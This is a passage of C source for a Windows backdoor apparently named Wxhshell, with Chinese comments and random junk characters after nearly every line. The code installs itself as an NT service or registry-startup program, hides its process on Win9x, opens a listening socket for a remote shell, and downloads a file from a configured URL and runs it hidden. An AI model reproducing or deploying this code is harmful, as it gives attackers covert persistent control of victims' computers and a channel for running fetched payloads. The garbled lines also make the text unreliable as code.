DWORD PebBaseAddress; iT-coI
DWORD AffinityMask;
*V6|
FU
DWORD BasePriority; o&q>[c
ULONG UniqueProcessId; E]`7_dG+T
ULONG InheritedFromUniqueProcessId; }sXTZX
} PROCESS_BASIC_INFORMATION; +x"uP
h+[6i{
PROCNTQSIP NtQueryInformationProcess; O_:l;D#i
n"EKVw7Y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X 0y$xC|<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
T^}UE<
sW[-qPK<
HANDLE hProcess; jfuHZ^ YA
PROCESS_BASIC_INFORMATION pbi; >7>I1
AYbO~_a\N
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eQbHf
if(NULL == hInst ) return 0; +Y%6y]8
y"q
aa
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qNEp3WY:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "bo0O7InOV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o:@Q1+p
Urr%SIakvM
if (!NtQueryInformationProcess) return 0; L|'^P3#7`
>pU9}2fpT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E8#
>k
if(!hProcess) return 0; H-kX-7C
$`F9e5}G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UPh#YV 0/,
ShB]U5b:k
CloseHandle(hProcess); BR2Gb~#T
eTuqK23
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zK<af
if(hProcess==NULL) return 0; g":[rXvId
R+M&\ 5
HMODULE hMod; T D_@0Rd
char procName[255]; A'|!O:s
unsigned long cbNeeded; eM5?fE&!&
Zzlf1#26\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [oLV,O|s|j
^ po@U"
CloseHandle(hProcess); gF)9a_R%p
"%-Vrb=:Y
if(strstr(procName,"services")) return 1; // 以服务启动 wX,V:QE
ffrIi',@
return 0; // 注册表启动 {OU|'
} 8`q7Yss6F
TekUY m!G
// 主模块 |mb2<! ag{
int StartWxhshell(LPSTR lpCmdLine) 7j]v_2S`
{ ~e{ @ 5.g
SOCKET wsl; 1 R5pf
BOOL val=TRUE; `%C -7D'?
int port=0; j_Szw
w-
struct sockaddr_in door; NQ9v[gv
kka5=u
if(wscfg.ws_autoins) Install(); H9cPtP~a)
*G19fJ[5
port=atoi(lpCmdLine); =S&`~+
C?<pD+]b_
if(port<=0) port=wscfg.ws_port; Q.mJ7T~T
/at7H!
WSADATA data; tb3VqFx
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y0 * rY
d!,t_jM0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; U.7fMc#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (`tRJWbdz
door.sin_family = AF_INET; :L[>!~YG_n
door.sin_addr.s_addr = inet_addr("127.0.0.1"); aLO^>",
door.sin_port = htons(port); PVCoXOqh
2{OR#v~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P6:C/B
closesocket(wsl); /).{h'^Hq\
return 1; R?{+&r.X
} CKsVs.:u
-pC8 L<
if(listen(wsl,2) == INVALID_SOCKET) { h@:K=ggK
closesocket(wsl); Zj`WRH4
return 1; :KLXrr
} z|l*5@p
Wxhshell(wsl); oo5=5s6 3}
WSACleanup(); c`a(
d1j9{
return 0; 2QfN.<[-
drq3=2
} ]R__$fl`8
kx"10Vw
// 以NT服务方式启动 +&EXTZ@o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FfoOJzf~o
{ gAqK)@8-
DWORD status = 0; ?e7]U*jEU
DWORD specificError = 0xfffffff; a)qan
6
63o
serviceStatus.dwServiceType = SERVICE_WIN32; T{YZ`[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; MY&Jdmga
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Swi#^i
serviceStatus.dwWin32ExitCode = 0; ($[wCHU`!
serviceStatus.dwServiceSpecificExitCode = 0; bF'rK'',
serviceStatus.dwCheckPoint = 0; -fR:W{u
serviceStatus.dwWaitHint = 0; }lJ;|kx$
Wa_qD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YGp+[|'
if (hServiceStatusHandle==0) return; zw0w."V
XX6Z|Y5.
status = GetLastError(); 7>vm?a^D2&
if (status!=NO_ERROR) 9Em#Ela
{ *XVwTW[a
serviceStatus.dwCurrentState = SERVICE_STOPPED; A4K.,bZ
serviceStatus.dwCheckPoint = 0; {$*N1$(%
serviceStatus.dwWaitHint = 0; ).k DY?s
serviceStatus.dwWin32ExitCode = status; jc}G+|`
serviceStatus.dwServiceSpecificExitCode = specificError; TJ|Jv8j<s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t}EMX9SQ
return; qe~x?FO_>
} wp[Ug2;G
$pGT1oF[E
serviceStatus.dwCurrentState = SERVICE_RUNNING; f:T?oR>2
serviceStatus.dwCheckPoint = 0; % RSZ.
serviceStatus.dwWaitHint = 0; KyvZ?R
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tb/TP3N
} M>8J_{r^
I[\~pi,
// 处理NT服务事件,比如:启动、停止 UM}u(;oo%)
VOID WINAPI NTServiceHandler(DWORD fdwControl) }pc9uvmIJ
{ APQq F/
switch(fdwControl) =OVDJ0ozZ
{ G#M)5'Q]U
case SERVICE_CONTROL_STOP: C0rf
serviceStatus.dwWin32ExitCode = 0; bF)G+IH
serviceStatus.dwCurrentState = SERVICE_STOPPED; !3ggQG!e
serviceStatus.dwCheckPoint = 0; d[ N1zQW
serviceStatus.dwWaitHint = 0; ~%TWF+
{ gEA SYIQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \bA Yic
} Z:;}
return; 9>""xt
case SERVICE_CONTROL_PAUSE: 6_LeP9s )
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2Xb,
i
break; DSGcxM+
case SERVICE_CONTROL_CONTINUE: )G? qX.D
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^)VwxH:s
break;
:|7#D,2
case SERVICE_CONTROL_INTERROGATE: aQkOQy
break; |@qw
}; 3r\8v`^>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d|`Ll
} Z 6jEj9?O
Mf}M/Fh
// 标准应用程序主函数 ?GhyVXS y.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8~sP{V%
{ )8Va%{j
9
_d2u#
// 获取操作系统版本 }x8!{Y#cF
OsIsNt=GetOsVer(); xo:kT )
GetModuleFileName(NULL,ExeFile,MAX_PATH); hy;VvAH5
IRdt:B|@
// 从命令行安装 jvT'N@
if(strpbrk(lpCmdLine,"iI")) Install(); _KT!OYH
hbjAxioA
// 下载执行文件 l,ENMKA^D
if(wscfg.ws_downexe) { sdu?#O+c1
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }`"`VLh
WinExec(wscfg.ws_filenam,SW_HIDE); W&z jb>0b0
} kc,"w\ ai
?b7\m":'
if(!OsIsNt) { L'e_?`!:
// 如果时win9x,隐藏进程并且设置为注册表启动 `i7r]
HideProc(); U=>S|>daR
StartWxhshell(lpCmdLine); k[=qx{Osx%
} 0lw>mxN
else ~%{2Z_t$
if(StartFromService()) PnsBDf%v
// 以服务方式启动 Jh[0xb
StartServiceCtrlDispatcher(DispatchTable); Onmmcem
else HpwMm^
// 普通方式启动 V\V
/2u5-
StartWxhshell(lpCmdLine); [oWkd_dK
Bqx5N"
return 0; GQ_KYS{
}